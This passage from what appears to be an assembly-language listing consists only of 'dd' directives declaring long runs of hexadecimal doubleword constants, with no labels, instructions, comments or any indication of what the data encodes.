0A7EC47EBh, 0F418CECBh dd 8FD45852h, 0A2D28322h, 0B857A342h, 8873959Ah, 0AD55715h dd 0FE4C6993h, 1DEF71E4h, 4F2DBF01h, 2C102129h, 82E25ABEh dd 768327Ah, 0D4A91167h, 93BFBF59h, 0C78C5FE5h, 16BC920Ch dd 0E859CB28h, 20F948AFh, 0ED5D4A4Bh, 48A5A62h, 0E0050F58h dd 0F54BF710h, 5A446F3Ch, 0B2FD5195h, 8EBC2192h, 883503D2h dd 1312318h, 8125D0F7h, 6079881Eh, 7A126BB5h, 9CFC7E72h dd 178A6A1Eh, 4A9A819Eh dd 0EB680017h, 0A2999521h, 0F87805h, 0EE2DD801h, 126A0944h dd 0AE3AC868h, 46865134h, 88ADA0BCh, 65D0957Fh, 0B2D8F50Ch dd 4BEA4010h, 9847345Dh, 235B7154h, 8B8EADB2h, 0A7F3ACF3h dd 0BF2D20EBh, 5C9811EEh, 0B0057510h, 73AD01Ah, 152B6DF0h dd 95388056h, 0E44BACF0h, 4F03718Ch, 22FA2BBh, 62303368h dd 645CDE7Ah, 6910EB31h, 0B6F05A6Eh, 5E942E6Ch, 0E303137Ch dd 0F715544Eh, 5B0BD360h, 1256F381h, 351577Ch, 0B733DA99h dd 0F551A494h, 0D9AB4D12h, 83E12AAh, 4AC0F58h, 0F3AFBE1Dh dd 0C5D516CAh, 4D2BEF2Ch, 9629F75Bh, 58C60122h, 22B29FD4h dd 98494D50h, 11310B03h, 41CEF85Ah, 5FC978Fh, 3DE8508h dd 0C03BB353h, 0D3F604D8h, 75AEBEAh, 5F2A0CF0h, 0A30174B9h dd 0A2444A4Bh, 2104A9FBh, 0DC6CC8D8h, 77B1DB40h, 423525E0h dd 74BBED2h, 9AD12F03h, 2A2FF127h, 0B9E77240h, 89AF171Ch dd 0E4CA8E8h, 396A0B45h, 0BD40023Ah, 2771E00Ah, 0BAEC0193h dd 0DBD4E92Ch, 87DFF784h, 0A40913EEh, 49542B2h, 2ABD7A0Ch dd 62B6EB01h, 0DA014E5Fh, 8098562h, 0B059E37Eh, 984EC838h dd 0B441FF93h, 2D06002Fh, 356D0B46h, 7059CCAh, 20534C25h dd 2D4CCAF8h, 125B1E23h, 0FA18D08Bh, 78F2071Ah, 0C5629503h dd 0A809954Dh, 221F1006h, 6A586806h, 0F840F53Fh, 6E5BF5Bh dd 24534033h, 235CF11h, 12F74A46h, 0A3100940h, 5EEBDCBh dd 3B4A4F8h, 68FCA80Fh, 8C2B4F70h, 91C02AAAh, 75720EBAh dd 99B0C048h, 31434735h, 8BE9D70Bh, 0BDB5E8BFh, 6657287Ah dd 2F8C38B7h, 14AD2CA4h, 4D3EB0A2h, 3C32E305h, 0CBDCC0D9h dd 20335EEAh, 0B1FE246Dh, 0B1257DA8h, 2EED897Ah, 4F25A79Eh dd 3B59D761h, 0E7D1D007h, 16CF55B3h, 8C829DFh, 68001D92h dd 356F1104h, 97AAF65Dh, 0A9741E89h, 1820145Bh, 76066DADh dd 0B6DFCC38h, 0A82B3406h, 91A4341h, 0A01490C5h, 12488FCh dd 5DE1F742h, 0F181161Ah, 2E5D7968h, 81C092A2h, 3B6B08EDh dd 0C5016812h, 98B10AEh, 5EF38909h, 590C9800h, 0FBF6DCEh dd 71A2A9C9h, 0C2E8280h, 1EFA5458h, 83AF782Ah, 5AEE0500h dd 38351408h, 0BE427930h, 90211423h, 99336176h, 0CB505AD0h dd 0EAC14AE8h, 9DE6C290h, 8B4B097Dh, 0F32478E6h, 505FA46Dh dd 5C53DD68h, 0EDF59274h, 2659E8ADh, 5C2DA227h, 0D91E7747h dd 80973295h, 0C05D0D32h, 0D0E99045h, 4458081Ch, 57FC134Eh dd 95DA8AD9h, 0A56882F4h, 9ABC656h, 0A4DAE957h, 5003F791h dd 4E72BF97h, 293A7503h, 0F208247Ch, 52FAC8A0h, 277F78B6h dd 411AC936h, 0C1361A75h, 3A7CAFFBh, 80C2280Eh, 0D9D40F49h dd 252EFE08h, 3E4B5E58h, 25E28F13h, 49E9DB98h, 0EA9C425Ah dd 4E5C0B05h, 69D05491h, 47040783h, 0DDE9565Ah, 0FE045FE8h dd 0BAD7F6CFh, 9A8CB893h, 12F456F7h, 10E78AD3h, 5F2D3FDDh dd 0F92D2659h, 404B9653h, 28742CFBh, 0B57551F8h, 1A9208F8h dd 0D17507BDh, 0B0040A3Ch, 2ADA18FEh, 999F3E08h, 0CAE05782h dd 0C1B738EBh, 0E3C19012h, 0A6CD6801h, 993737F3h, 887CFEC9h dd 53168C16h, 85EDAE38h, 0E58D480Dh, 4D17142Ch, 574B04Eh dd 1A10450Bh, 2DBD853Dh, 2D160712h, 1CE8B101h, 337E6C2Ah dd 3B9868F5h, 12B02631h, 0A575809h, 5458523h, 0C8B0704h dd 14BC0EF8h, 9EEE3152h, 175163CDh, 0C4CCC49Ch, 0C459351Ch dd 107041Dh, 0AACAAEF1h, 0AC144A79h, 5355B0C4h, 3B2DB254h dd 2F30D68h, 258BCA81h, 0CAFC70ACh, 9CD2180Dh, 4658C040h dd 0ED1B4B04h, 5A08409Ch, 1457E5B7h, 19372BEh, 0E966020Fh dd 0CF092A7Dh, 0B858DC59h, 7EE0EB3Bh, 0A475401h, 28E95B0Ah dd 13BC274Bh, 0BACE240h, 44D42EE9h, 4A5ACABBh, 0F0A17C34h dd 209085EFh, 166D4ABAh, 6213DC6h, 3B15B276h, 25F2E85Ch dd 0CFD75114h, 12EF6C5h, 0D4BFFC47h, 348EED18h, 0E031684Bh dd 0D5FA2B27h, 53AC1481h, 70047DB7h, 60EFF859h, 71CA0D5Ch dd 7C25BEEAh, 84FA64Eh, 253FC5B5h, 777F6AFDh, 2A4B8016h dd 0D09EBCFCh, 0ACBB0250h, 4075182Eh, 5C4D17h, 0EE8171D6h dd 3A4A127Dh, 5E01C6B8h, 0F7370C75h, 776443DBh, 479A02FFh dd 5BDE293Dh, 0C120E45Dh, 0ED257C1Ch, 0E20A2E5Eh, 0E90408EBh dd 20FEF53Ah, 685652CFh, 0DF3FCA75h, 0E1BC9335h, 52CFC4BDh dd 0F3BB4C85h, 108C48C9h, 680939D3h, 0D29A7DEDh, 0D890B66Ch dd 5BA9E725h, 0E56885F2h, 355BA926h, 5B12938Dh, 5024F8ACh dd 9C782A6h, 245C7288h, 82BD0720h, 497BFF5h, 0A82DAA01h dd 6B299A6Eh, 0D0ED07B7h, 72112C72h, 5C59BADAh, 5E7E7C29h dd 0EDC6E432h, 0B1F0C74Eh, 0F641C527h, 0E831FEE1h, 8F2B4FAEh dd 40943E9Ah, 0CE81FC1h, 6E505C31h, 40C13D8Eh, 0A93070EDh dd 84EF5B2h, 804AE6B2h, 0BAF3153h, 2392CEDh, 61E9D1F7h dd 5CFBA8h, 7280B951h, 3D902009h, 2260A80Eh, 0C7C9C07Ah dd 0F85BFB53h, 6CB804F1h, 0CC49622Fh, 0EF3C88F0h, 10912459h dd 84F6E045h, 0AF70F025h, 58184BCh, 17A40780h, 7006A65h dd 0B24A0AE9h, 6FD114CBh, 0F718CDBEh, 0CAE90DD0h, 312C4FB2h dd 5110E2FBh, 0F7FA8706h, 810208D7h, 1128A0F2h, 47005F6Dh dd 89742695h, 70CBD35Fh, 78DB924Ah, 500905F6h, 0EEAB00B8h dd 622DBD67h, 0C5290A14h, 1C6FB4E0h, 8B67B9Dh, 9882669h dd 0F1253D77h, 0C358DC85h, 0CCC98407h, 0EF313A2Bh, 0B22F50A1h dd 0DF2DC1CDh, 0A8EF360Fh, 4CA610C1h, 805B543Eh, 34433331h dd 73E90C0Bh, 1399532Fh, 1D46214Ch, 0ECBC543Bh, 0AA42D5Fh dd 0B44C32B4h, 86C5BF88h, 4778927h, 2FBC4531h, 0DD874D09h dd 0CC295385h, 58B95D5Dh, 8D847617h, 0CA802E84h, 5BA7142Fh dd 128B85D1h, 5520F6C8h, 0BB539CDh, 7650ACE9h, 9C68D2ADh dd 0CFCB372Bh, 840180F5h, 983C1A67h, 5DEE2551h, 1790CBF8h dd 0E831AF2Dh, 24383D6Fh, 19CE37E5h, 2F890D3Eh, 4AD869A0h dd 9E52B8BAh, 6308FC0Ch, 9D8172EFh, 5D4E8E5Ah, 5060618Ah dd 6BE31A41h, 436FF3FEh, 0C2DAE90Dh, 228E116Ch, 0C1019A51h dd 7E94E084h, 0F800BBE3h, 30F71AE7h, 0D2EFDF58h, 101AF2CEh dd 0AA58CD10h, 85920730h, 0B916FCAAh, 3FE8F901h, 0ECC709B5h dd 0F3073E72h, 0E1E61767h, 6A1009B2h, 26327052h, 4A7D96EBh dd 0B5D0C864h, 6344EE07h, 0B9E82286h, 0B05C9C4h, 9A7E9FEh dd 0BBEF003Fh, 4F68F369h, 0F84055B0h, 702714BAh, 0CA0794DCh dd 645E37EDh, 9B14C242h, 0C288C098h, 0FE66825h, 0C750EAD6h dd 2CE23FBEh, 5858CCD5h, 0A7E85F30h, 0C33080FFh, 0A91565E9h dd 0CB7E520Ah, 2BF8122Eh, 721036E3h, 608A4BC9h, 9E0BA52Fh dd 0E6407CFCh, 20235331h, 7594CF01h, 0DA64C902h, 0F7DAE202h dd 4B0B1F94h, 0F79F303h, 1CB68844h, 0BD982FB5h, 0C0130B0h dd 0FE012CB2h, 0E9DB52C8h, 0CADDD2F6h, 0B1510483h, 0C4BC3055h dd 814190F8h, 0F1234E6h, 3EB6F54h, 1F922467h, 66B1CEE0h dd 244AAD30h, 5C1576E7h, 82071521h, 7BA64174h, 0BE0C0B40h dd 4F5DFFC9h, 90A92DB8h, 34F34606h, 12A5294Dh, 59B82F03h dd 2D01CCE4h, 9040FF01h, 60FE921h, 2228636h, 207E7DA0h dd 0B71B7D2Ch, 0EF078A2Fh, 3201013Dh, 5AD03111h, 40AEA470h dd 681753B8h, 6AE323C1h, 40193810h, 8AF051E9h, 98664640h dd 2FC302D0h, 506A6852h, 94AA187Dh, 20742CE9h, 0D4C783E3h dd 0A9D1FD88h, 0B3D33A9Fh dd 0B771D1B2h, 0C0C599ECh, 2D9BBB81h, 0D2F6488Eh, 8DA4D54Eh dd 61425EE7h, 7A6E6CA3h, 48806A3Dh, 37B26ACDh, 0BF05CB81h dd 43216151h, 0BE62F82h, 0E03DE97Ah, 5859126Bh, 478155EDh dd 60358838h, 0DC243DCh, 44E813E9h, 6879A863h, 61A18397h dd 0C0307842h, 0F388D2B6h, 6C74E15Ah, 0BC0DB23Ch, 97E56B5Fh dd 59258B1Eh, 1070A4ABh, 840F0D15h, 982F831Fh, 4FC41C9Ah dd 68BC46E9h, 0E57BD03h, 0C8D1748Fh, 0D2632BD1h, 560CF268h dd 24ED5988h, 249C8488h, 0B570F21Dh, 0F3451CBh, 5257789Ah dd 4364FEB4h, 0E14AAFEh, 8ADF1960h, 8F61D330h, 9E7A4289h dd 0CE2058D1h, 0E4958E09h, 7FE2E083h, 816999EDh, 0F66A9DBAh dd 447F3Bh, 0FEB248DEh, 12356B84h, 283A3529h, 0E125E91Fh dd 0B9BE11B0h, 92966C2h, 19335DECh, 70E34900h, 47607742h dd 10AE60Eh, 61C78020h, 0AF3B9605h, 40AE37E9h, 4017EB29h dd 4DF6A25Bh, 8F44934Fh, 0BDA7C7CFh, 9B13D94Ch, 4EABA3D0h dd 82A43CE0h, 956FCF55h, 5475E250h, 0C05C929h, 421C5AA5h dd 1FC8C314h, 5758801Ah, 1676850h, 241DF63Ch, 5E1C8825h dd 93D8F705h, 5303CC7h, 0A0A9FEE2h, 158C78Fh, 0C42E402Dh dd 44F8015Dh, 5F082391h, 78B95188h, 61500F16h, 25D0C803h dd 0CFA41084h, 7AB05E96h, 5966099Dh, 42214D3h, 0B80083CDh dd 12BCD560h, 0FCC2315Ch, 62C09DDh, 25ADEBAh, 28AD121Eh dd 8061C0Dh, 5A14811Ch, 963DE7Bh, 2285665Ch, 20839161h dd 354571EFh, 3AB03E5Fh, 2D729C7Dh, 192D9270h, 88C410EBh dd 0A099BD3h, 10C35052h, 0C7B65FAEh, 4950604Ch, 0A9B48317h dd 9208E5E2h, 886804FAh, 0DB64BB08h, 0BEAC9BDCh, 0CE800715h dd 14EE3331h, 84F8BBDAh, 0ADF85F4Eh, 6CD768C2h, 76F08A66h dd 0E3EC4F4Bh, 7478EBC1h, 0BB55E231h, 9E1827Eh, 696F3F76h dd 25E1F0B3h, 0AB584B0Ch, 0F61FAA98h, 78753D8h, 71FCB80h dd 20EBE9DBh, 6717BB1Ch, 820EBCEDh, 0D53AAF3Ch, 0A875E927h dd 0C67147AFh, 0B8539458h, 0DBB804F0h, 0FA813475h, 0C100257Ah dd 0A6F002E2h, 81E42D5Fh, 60854105h, 0B24A1402h, 880B6FF7h dd 0D9D458E6h, 0BF9FE906h, 0BD55022Fh, 18FD6675h, 767FE25Fh dd 9331089Eh, 1C7FEA81h, 0C3402A08h, 25AB7910h, 0F6665F7Ch dd 28F9E917h, 1C86ED61h, 1DD55C69h, 0C3B0CA4Ch, 79002FC4h dd 63B85032h, 79282D61h, 2767160Dh, 5FAF822h, 8892ADA2h dd 873217ABh, 0D52727D6h, 4116BC42h, 1979DE23h, 0BA21D293h dd 0AB058217h, 32A43D27h, 9F5F4ABCh, 53680BE6h, 5665196Fh dd 72647720h, 6B44CA11h, 392C9DF5h, 0DC274A3Ah, 0C724DCF0h dd 1F83F1BCh, 0D13D6D28h, 453ABA90h, 161916F5h, 97B0BAFh dd 0AC93515Eh, 0FB978F0h, 68064298h, 88940744h, 3F0015B4h dd 1ABA757Eh, 9FF6705Ah, 0C0C27069h, 4460D728h, 0D650600Ch dd 0DA29280Ah, 400883E6h, 165B140Ch, 45A5752h, 14F26255h dd 4D0393D8h, 8C09271Fh, 25191680h, 21670B26h, 4E5C5DEBh dd 12A86C4Ch, 1D579B4h, 0E31292ECh, 45F8202Bh, 34243018h dd 0D3D420Ch, 0D7017A7Dh, 0E9080128h, 25157298h, 0C083DCE5h dd 226A1D6Ch, 5CE8103h, 43EF512h, 20214C98h, 4844AF57h dd 0D01ACA0Bh, 610D4BDBh, 623A1A86h, 1CDD5020h, 16254F75h dd 782D0B77h, 0AD68EDA1h, 0E312F76h, 406BC45Ch, 0C022C518h dd 0E2BD861Bh, 0F94C5DE0h, 5BD68059h, 851AB9DAh, 1B096714h dd 0A22D7CFAh, 0FA5A19h, 690109F2h, 267042B8h, 0AFE99E3Ah dd 2F98F2A0h, 2471CFCCh, 6BE49025h, 64489611h, 0C1EFA421h dd 9184A09h, 1F2AA0h, 800E8710h, 0EB6611C3h, 0C1040682h dd 0C9B25251h, 74DD9882h, 0C23B625Eh, 2D3971C5h, 2067DAD3h dd 5E76805Bh, 71C2154Bh, 0C0857159h, 34C713C2h, 65CBBA01h dd 0DA3166D4h, 21CB6Fh, 4A2189CAh, 9C49E91Dh, 0BD5E12E9h dd 382085E4h, 0C31DE5B8h, 135142FDh, 20CA1FE9h, 4ADA09D7h dd 6BE5711Bh, 0E950EDF4h, 21914F47h, 0D55A5C75h, 3492F1DAh dd 0CD9D29C1h, 0B0922D17h, 0F00BACECh, 0F179D466h, 0ABBB4019h dd 0FD1DE9C4h, 0FB13D901h, 0D5DE14B1h, 6812E41Ch, 3C5C54A3h dd 0CC95A812h, 123FA540h, 9F5604E2h, 28650689h, 330B5228h dd 207D37Dh, 0C10926h, 5259CE88h, 0ED3B648h, 6E285AF0h dd 0D266EE2Ch, 1EB0111Ch, 16B15181h, 67CE304Eh, 9E6F340h dd 0F9D5B5F1h, 500E48EEh, 58FFB438h, 39E74C51h, 0BFC692E8h dd 0E7104EECh, 0ECE65E43h, 0EA497D51h, 6B9DD734h, 1B702917h dd 74207F41h, 75B628EBh, 5AD7259Ah, 97F22130h, 0BC6F482h dd 2DC6E29Ah, 10FB5E52h, 0BA3DC043h, 63375984h, 0C36904F7h dd 0D79D0E58h, 0BA6B280h, 0C004CA80h, 88EBD622h, 733B3672h dd 0E443AC0Ah, 0A889061Fh, 0F0C544C4h, 3B32415Eh, 141D4F41h dd 0F7154BCh, 40D6E951h, 35F3E901h, 0C457F950h, 10125BBFh dd 59BB79C8h, 3B904E8Ah, 2F148448h, 8E082759h, 13FA2D7Eh dd 7B2B7530h, 0E7146DEAh, 0FAD21520h, 1B1E604Dh, 993FA4CBh dd 54A344Ch, 4ECC6611h, 0C72B1FEBh, 0C7434DF1h, 0E3216F3Ah dd 0F007E80Ah, 281482E1h, 25CE192Fh, 0EFDBF312h, 28D2B956h dd 0E57BE3C5h, 47C7251Fh, 0DE07F552h, 0EB354641h, 375937A3h dd 9228E984h, 22625DF4h, 0F7C4125Eh, 293E7FB1h, 2D9308BCh dd 5F1DDE01h, 8D26E967h, 0B9D1F353h, 7837E7F0h, 0AA185814h dd 0FC7DE484h, 0DE51B2EBh, 1594290h, 97B36475h, 7BBB1067h dd 4168F197h, 3B46E268h, 110941B3h, 62502712h, 30371F08h dd 0D1AC3820h, 2855A02Ch, 44541158h, 0DC72F690h, 3E4ED479h dd 41B73F80h, 28110E04h, 0CE053F8h, 0CFFED7F6h, 0C23AE92Fh dd 0F8EE777Dh, 0A62C819Dh, 0B2D2343Ch, 0DE1E77B6h, 62885099h dd 0C1E9045Eh, 1929AA0Ch, 0E9C2FD6Dh, 7F73392Eh, 8A1F79ADh dd 1174305Ch, 658F401Ch, 4C46681Dh, 0B51E78AFh, 19409CCAh dd 2880CF58h, 23594DE8h, 0A2219B13h, 792578F7h, 0D9653B20h dd 6102338Ch, 2A9AD461h, 9FE5A25h, 88FE7C5Eh, 5003F273h dd 0C6BE0404h, 0AF50EC6Eh, 9881F283h, 91D8DD4h, 24A3E90Ah dd 84890C48h, 8B7A129Fh, 0BAC740EFh, 737D1E25h, 5217936Bh dd 0F81BBE8Dh, 0EC6F1CFAh, 21123834h, 0C44EB2D0h, 17990C47h dd 19256C47h, 36CBA521h, 48052569h, 0BC125C40h, 0F9AD4B1Eh dd 3DB85001h, 6F577D4Ah, 57EBEB22h, 0B252C204h, 2EC689E6h dd 9448AAC4h, 5E295D8Bh, 0DCF4C94Ch, 7ACE0E62h, 3EA10634h dd 66012AAAh, 3913394Bh, 0F43C481Ch, 54611781h, 278A4EAh dd 71286D54h, 0C05F20AAh, 0C716E5BEh, 0B25B2EFCh, 0FEEDC08Bh dd 0C8D9F6C9h, 5712BD8Ah, 0BBB6EFECh, 0E04CE916h, 8030E392h dd 3B89D313h, 0E95F175Bh, 54F9A0E1h, 39CF595Ah, 0EDB62920h dd 589BDAA7h, 0D12F1E50h, 0CBBC72EEh, 7B9E42h, 0F440BBFh dd 0BA883361h, 842A666Bh, 5844BE9Eh, 0D5F898E9h, 0FCBD8628h dd 30F11C88h, 8CC9BE1h, 460FCE2h, 0EC276866h, 1C1AF242h dd 8EF88850h, 0E7AE58C2h, 252605F3h, 6A31FFFCh, 0EF0523A5h dd 8C75E456h, 0B53534EFh, 66D82EFAh, 208896A9h, 0EA883CEBh dd 0E78B5DA5h, 0F65C1040h, 2B2054B0h, 4ABF0109h, 0D17F1E1Ch dd 35A12AEFh, 70F10684h, 0A7DA0C0h, 0DC381D25h, 74114D1Eh dd 0E35FF86Bh, 528B74F3h, 0DE4BB045h, 47682DE7h, 6605E5EBh dd 0C30107CBh, 0F9FB02C3h dd 4033622h, 0E9030605h, 40EBDEA2h, 0F681FEBCh, 0A812B595h dd 46AE01AEh, 75258209h, 26DBC107h, 60B505C6h, 9052F1F0h dd 64900148h, 0E7C168D2h, 8EFCC02h, 0C717489Dh, 17530F1Dh dd 3FFED17Bh, 3B20AD0Eh, 5FFA89E3h, 0D8ACD801h, 83E940F9h dd 0BBC2E454h, 67415FBDh, 71D07E01h, 95CBCEE9h, 28990FF9h dd 6F625A9Fh, 0DA3E7C4Ch, 48DFCF4Eh, 0D4072791h, 5CE649CAh dd 0A09777FCh, 1196EE98h, 25467B58h, 0A959AA2Dh, 0C87B97BCh dd 543ACEE6h, 425145E2h, 0ECF809h, 0ED814DDDh, 1D202CADh dd 0E0DE8CBDh, 8311304h, 5A1EBF03h, 2D031E50h, 1553343Eh dd 8C43C1A8h, 0F0290D0Ah, 0AA280705h, 5F10FF0Bh, 3F41801Fh dd 5F5F423h, 4759B105h, 138F9473h, 0A3BE0807h, 66085416h dd 0E6C10321h, 1E988108h, 89F9B13Ch, 0F191E7EAh, 0F1AB6FA6h dd 705A05E1h, 7DF252D1h, 34753A4Bh, 1905E82h, 421EF381h dd 0E25D01CFh, 52827420h, 0E9D598F7h, 3BA16062h, 0FB13EAC6h dd 7EFE3151h, 9242A82Ch, 455F30BCh, 19408A52h, 25DD3748h dd 73FFA4FDh, 758003D4h, 586524C9h, 0EC1059F3h, 578F50B7h dd 0D9A908F0h, 582FB5Dh, 5A4AE65Dh, 0A34B85ADh, 59CE1236h dd 0E0523DADh, 5BC5ED10h, 20EB2A0h, 89616F17h, 0C3D05FFBh dd 0F6600909h, 8D84802Ch, 0C1299C75h, 0D449B718h, 21CBDD5Fh dd 0E90801DEh, 7BD57D8Ah, 5A23C9B7h, 0BD6F442Bh, 0B60F043Bh dd 0E6B164AEh, 0D2E41047h, 0F60CAC32h, 6B9B315Dh, 58177E78h dd 0E9972C8Fh, 12D8D627h, 90165FBFh, 28DD6813h, 0FDC4FFFCh dd 0A8EED4B3h, 12924CB4h, 0AAD8F588h, 62CD7DFEh, 1AE92C53h dd 505FD58h, 4B598636h, 165A7CE8h, 0BDA1319h, 445CDDD4h dd 93183012h, 276D250Ch, 0FDFCA263h, 25C0B596h, 0F4EB315Ah dd 0A2925467h, 573C09E5h, 81DC488Fh, 856FA200h, 83EA0172h dd 0C0205698h, 4A7120EDh, 0BA5C96B0h, 1715D4A6h, 8867E858h dd 0A84BA2A5h, 29D97653h, 2BB08B53h, 3640A9D0h, 58C73C01h dd 9C3F1B24h, 5F58F257h, 1A6815C2h, 382765EFh, 0A2F02Bh dd 0F1412044h, 86E9FD21h, 0BA44FE5Bh, 0BE00C6BAh, 8DDD4F6Dh dd 5EF23118h, 2D176042h, 7A0519C8h, 5A080BC7h, 3C8FF200h dd 3500216Fh, 5C02B3Ah, 0C15BE948h, 98850F95h, 61297Eh dd 0CFD5D45h, 58EDC14Dh, 6D052602h, 82369A4Eh, 0EF207D39h dd 48AA47FCh, 85858828h, 0C739FF80h, 0D741EFF1h, 0A22AF1B2h dd 6150799h, 22C56DE7h, 0F8C320A4h, 0A3E14A55h, 205248F9h dd 82214A96h, 4354C1E9h, 44AEFE16h, 1F775AF2h, 0F5D821C9h dd 0F679DEBAh, 0DB5E540Bh, 6CF11C63h, 23655AC3h, 0F5088FA9h dd 814100F7h, 0D34AF0E1h, 7C32567Ch, 0D5C14978h, 0D4D9A24Bh dd 906F7C7Bh, 6AB001C7h, 0B4BB1464h, 69E90B84h, 0D051AD79h dd 4EDD04BCh, 558012E4h, 76E72C92h, 4FF20025h, 0E9ECFD22h dd 3AC0DF72h, 441EFE68h, 669CB201h, 1DEFAA52h, 0CE6A452Dh dd 94E97B38h, 59660355h, 74CA472Ch, 0E8FBE1ADh, 2F4EF346h dd 4EA01365h, 503DC142h, 2C30B252h, 8F6687EEh, 769106EFh dd 232B04Dh, 31BEBAF3h, 0E9555EF1h, 7A38C29Ch, 0D610B61Dh dd 0B8B1852Ch, 1FD80C0h, 0A389D988h, 5AD0B0FBh, 3F67092Dh dd 837F0BC6h, 0AA1803DAh, 2425DF05h, 3CE471C3h, 56135624h dd 0CB519503h, 41FB292Dh, 0D2200842h, 0CF3A174Fh, 0AF4B0844h dd 0D8E36617h, 0D8ACA9D6h, 4B28686Ah, 0CAE48C58h, 0C8012D41h dd 0F305B8FEh, 5618621Fh, 150209F1h, 5B05BCF9h, 44196BC0h dd 593713BAh, 78A7B041h, 857A0D3Dh, 11E9D389h, 404342A1h dd 0F600FC71h, 45E580D5h, 0AB50C5E6h, 0C49D02DCh, 54D749DDh dd 6095344Bh, 7C0ABAEEh, 6808E5Fh, 14E50592h, 0E5DEF723h dd 36161339h, 982309C1h, 66B63C68h, 0D811F325h, 0A1589F3Bh dd 63105A4Ah, 2E730FB2h, 0E7C1A3E8h, 5062503h, 0FA133572h dd 7FF82B11h, 0FC2CED07h, 9E1CF3Ch, 0F0DA04D4h, 3D25F0C2h dd 48BF5E4Ah, 12992608h, 0F87BC573h, 0DBC8F454h, 0C5DA4CF6h dd 0F71EC220h, 9A0D49D1h, 0B492C7A2h, 810EFCA1h, 0B5A76408h dd 0FE11123Ah, 0B33E8829h, 0F766C00Fh, 5A0268E1h, 521BCC5Ch dd 7818740h, 2D7B2AE2h, 0BFC8B615h, 0CAEA801Ch, 3C5AD30Eh dd 0EB41C31Eh, 35FFE9ABh, 90CB4992h, 87685279h, 5A946B46h dd 0B12FE84Ah, 0AB072691h, 12BDC3F4h, 53F3C627h, 152A7A4Ch dd 0CA509D85h, 1DE5DC20h, 0F36F62BAh, 0F7E1D5F6h, 64D32ACFh dd 0BF00FC82h, 76703DD3h, 8C6A2A0h, 99D0B5h, 0FECAF7C7h dd 0AF7FE99Bh, 57893994h, 0D1938455h, 4C64F9D9h, 4968B456h dd 0AA44DB04h, 3AE9A531h, 24C45D6Bh, 0DF570C81h, 58B8C611h dd 0C18EEE02h, 0FC013EA8h, 0F6E985D2h, 7637FFA5h, 5208A192h dd 26C7051Ah, 87781079h, 0F020E5DEh, 0FE70B18Fh, 459C80Eh dd 281B418Ah, 0F9D22CD8h, 0D595E2F2h, 0A768ACB0h, 0BC25405Eh dd 40BBD99Ch, 4DB831C1h, 1F0894Fh, 400641CAh, 0A63234FDh dd 6BF0625Eh, 72FA254Fh, 0F3203B72h, 930989Bh, 7C563C37h dd 7ACC8DE0h, 0CB5D4082h, 3F6C3043h, 0B15B650Ch, 0F1014C16h dd 6808C610h, 0BBE140Ch, 7ACD48A7h, 445E4ADDh, 0E98423FAh dd 0F554896Eh, 1780B694h, 659E91E3h, 599CEB80h, 9FFA3142h dd 8B04FFF0h, 2915210Bh, 0AD1256B8h, 93409DFEh, 32FD5807h dd 0D9B8F018h, 67794DEDh, 6DAD374Bh, 9E5EF71Dh, 0C29996F8h dd 62CE66F2h, 78E3FC89h, 27BF0599h, 3B80152Fh, 175F94CFh dd 0A0471D20h, 0F870E915h, 0D88B939Fh, 4CE07AD5h, 3010DE63h dd 1BB902A7h, 774E9C4Fh, 90353160h, 48D14D00h, 9513912Dh dd 0EC509738h, 46DC2127h, 3FFD09BCh, 0B786106Dh, 0E9130DF9h dd 39BADCE1h, 3606408Eh, 600B9F48h, 0F49378E9h, 0FC5B9685h dd 2AC1A401h, 8004A422h, 2F2CA532h, 0D01E30F9h, 81B7D3EDh dd 3B1BDDE9h, 85809EE2h, 0F713A920h, 5F68D209h, 4FC9663Dh dd 5C3F05C4h, 977791D3h, 270B2672h, 18CACE55h, 8FA9BCE9h dd 0F9E797EDh, 0C2E13A67h, 0CC5051C4h, 0A92D32CAh, 19ED97D7h dd 34BB68B0h, 54634CA4h, 0E9BFBE87h, 0EA6C60B2h, 5E1ABD10h dd 44C6DEB1h, 3D130249h, 0FE0118B7h, 325B29C0h, 1E42CF88h dd 0C97FCA76h, 0CB518B9Ch, 0A70292A1h, 61396766h, 0F702E8F1h dd 0F20CEC0h, 72A15D9Ah, 0E0BDA524h, 8375D781h, 79C50E4Ch dd 4313624Fh, 39D45310h, 29CA98A2h, 450010Ch, 0EBE919B4h dd 0DACDAF17h, 81042DEDh, 72A165E4h, 0D1C61223h, 0DA13EB8h dd 2749667Dh, 5DA90B2Fh, 0DBDFE102h, 0A790FA64h, 76B16327h dd 98075288h, 646BEE9Fh, 0D9BD306h, 5F5BCD98h, 2DE95531h dd 1C534B34h, 0A5C18851h, 0E89ED578h, 6724D3A4h, 87F23812h dd 16309D01h, 7CA3E966h, 22004F04h, 6B1E9FF7h, 0E7CB9211h dd 0B0FB06EDh, 0AA857EE9h, 0D3306177h, 6E51F505h, 0F14C3C8Ah dd 8BD9F22Fh, 0EDBB5D0Dh, 39100E22h, 0A6B07D95h, 8A9817BDh dd 9EA283F4h, 2D1CAEDFh, 66035DD1h, 272227BBh, 7956DE64h dd 6118B22Dh, 322EA7F6h, 0A84A4A7Ch, 0E39FB8DFh, 0FC028270h dd 0EE55C2C0h, 58049792h, 0C982E855h, 2B105FEEh, 34AABCC8h dd 0ED200C72h, 0B4590C0h, 0BD445BCh, 680970DCh, 63B1E99Fh dd 0B2F2CF35h, 89C25FA9h, 0FEFA0955h, 0FE47582Ah, 0E9687905h dd 0E4BCD84Bh, 47BE129Eh, 0F4DF31C5h, 4A7DA86Ah, 0E96F220Dh dd 0C1B41320h, 0FBB06006h dd 2C183030h, 97D0013Ah, 39A12EE9h, 2B23DD6Fh, 603E73F1h dd 72373EDAh, 588A6C6Bh, 0F7029F16h, 2D0523C6h, 5B0992AEh dd 60EB1440h, 4A043602h, 0F548E9h, 166FDEB8h, 0D0F74C00h dd 0BA221B0Dh, 40DC9835h, 0FD000591h, 2D74E337h, 4AB27173h dd 4D6B179h, 931FC107h, 7BC39C0h, 159117EFh, 24D3AFB4h dd 0C1F1F82Dh, 0ACE1F596h, 0EEEE2D24h, 0CAB15F0Eh, 0A27E148Dh dd 36320E27h, 0CD812049h, 9F5042Ch, 56D1686Ch, 2800019Bh dd 294136B6h, 137EB8BEh, 0A0315FD0h, 0AE14CE30h, 10DACA35h dd 615ABBBDh, 108DC9Dh, 0A12EEBB5h, 0BF753E54h, 0F16F8DABh dd 1617DCE6h, 0C2184E60h, 5F31C789h, 8FCEA029h, 77280369h dd 6F716FA2h, 958D46DDh, 0D10CBD30h, 0F6885F9Eh, 2788A6B2h dd 0CF214C8Bh, 0C9DF04A2h, 6675D817h, 2FA84EB9h, 908A8427h dd 5AF368F6h, 82D8E70Ah, 0D1BF3BE9h, 396884A7h, 